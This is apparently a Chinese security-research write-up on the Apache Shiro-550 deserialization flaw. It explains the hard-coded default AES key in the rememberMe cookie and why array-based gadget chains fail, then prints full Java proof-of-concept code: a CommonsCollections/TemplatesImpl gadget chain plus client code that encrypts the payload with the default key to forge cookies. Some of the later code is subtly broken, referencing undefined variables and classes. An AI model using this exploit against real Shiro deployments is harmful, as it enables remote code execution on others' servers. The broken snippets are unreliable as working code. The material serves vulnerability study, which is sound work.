Shiro
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。
Shiro-550
漏洞原理
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意rememberMe Cookie,进而触发反序列化漏洞。
环境配置
这里使用的时P牛简化的一个shrio1.2.4的登陆应用
- shiro-core、shiro-web是shiro本身的依赖
- javax.servlet-api、jsp-api是Servlet和JSP的依赖,仅在编译阶段使用,因为tomcat中自带这两个依赖
- slf4j-api、slf4j-simple是为了显示shiro中的报错信息
- commons-logging:是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
- commons-collections:是为了演示反序列化漏洞,增加了这个依赖
使用IDEA打开项目,用Maven进行打包
将打包生成的war文件放置于apache-tomcat\webapps目录下
添加配置Tomcat服务器
添加远程JVM调试
修改bin/catalina.bat文件
set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
然后两个都直接运行,即可开始断点调试
漏洞分析
我们来看 AbstractRememberMeManager#getRememberedPrincipals
方法,参数是用户的身份Context
信息
该方法调用了getRememberedSerializedIdentity和 convertBytesToPrincipals 方法。
其中CookieRememberMeManager 的getRememberedSerializedIdentity()是获取 Cookie并Base64 解码,然后返回字节数组
随后convertBytesToPrincipals将对解码后的字节数组进行decryp() 和 deserialize()处理。
decrypt方法是使用 AesCipherService进行解密
而deserialize调用deserialize()方法反序列化解密后的数据。
如果我们有了加密密钥,生成一个恶意的反序列化payload,使用Shiro默认Key进行加密,在将密文作为rememberMe的Cookie发送给服务端,就可以进行攻击了
而密钥储存于AbstractRememberMeManager类中
漏洞利用
并编写一个程序用来加密payload
package com.govuln.shiroattack;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
将生成的base64字符串作为remember的值,发送后Tomcat报错
找到异常信息的倒数第一行,也就是这个类:
org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个
ObjectInputStream的子类,其重写了 resolveClass 方法:
resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了
org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ),而后者用的是Java原生的 Class.forName 。经过调试发现出异常时加载的类名为[Lorg.apache.commons.collections.Transformer,也就是Transformer 的数组
也就是说,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
构造不含数组的反序列化Gadget
回忆一下CC6,我们是由hashmap调用至tiedMapEntry的hashcode方法,然后调用tiedMapEntry的getValue方法,进而调用至LazyMap的get方法
我们可以发现这个key是可控的,而控制它的是
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
那根据我们之前学习的CC3,这就简单起来了,只要把key设置为TemplatesImpl对象,在直接使用InvokerTransformer直接调用其newTransformer方法,直接避免使用数组而构造出完整的利用链
即完整的poc:
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
加密代码:
package com.govuln.shiroattack;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client1 {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
成功触发利用链
而结合CC3,同样可以绕过InvokerTransformer
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer faketransformer = new ConstantTransformer(1);
Transformer transformer = new InstantiateTransformer(new Class[] {Templates.class}, new Object[] {templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, faketransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(outerMap,"factory",transformer);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
bypasswaf:
https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ
参考链接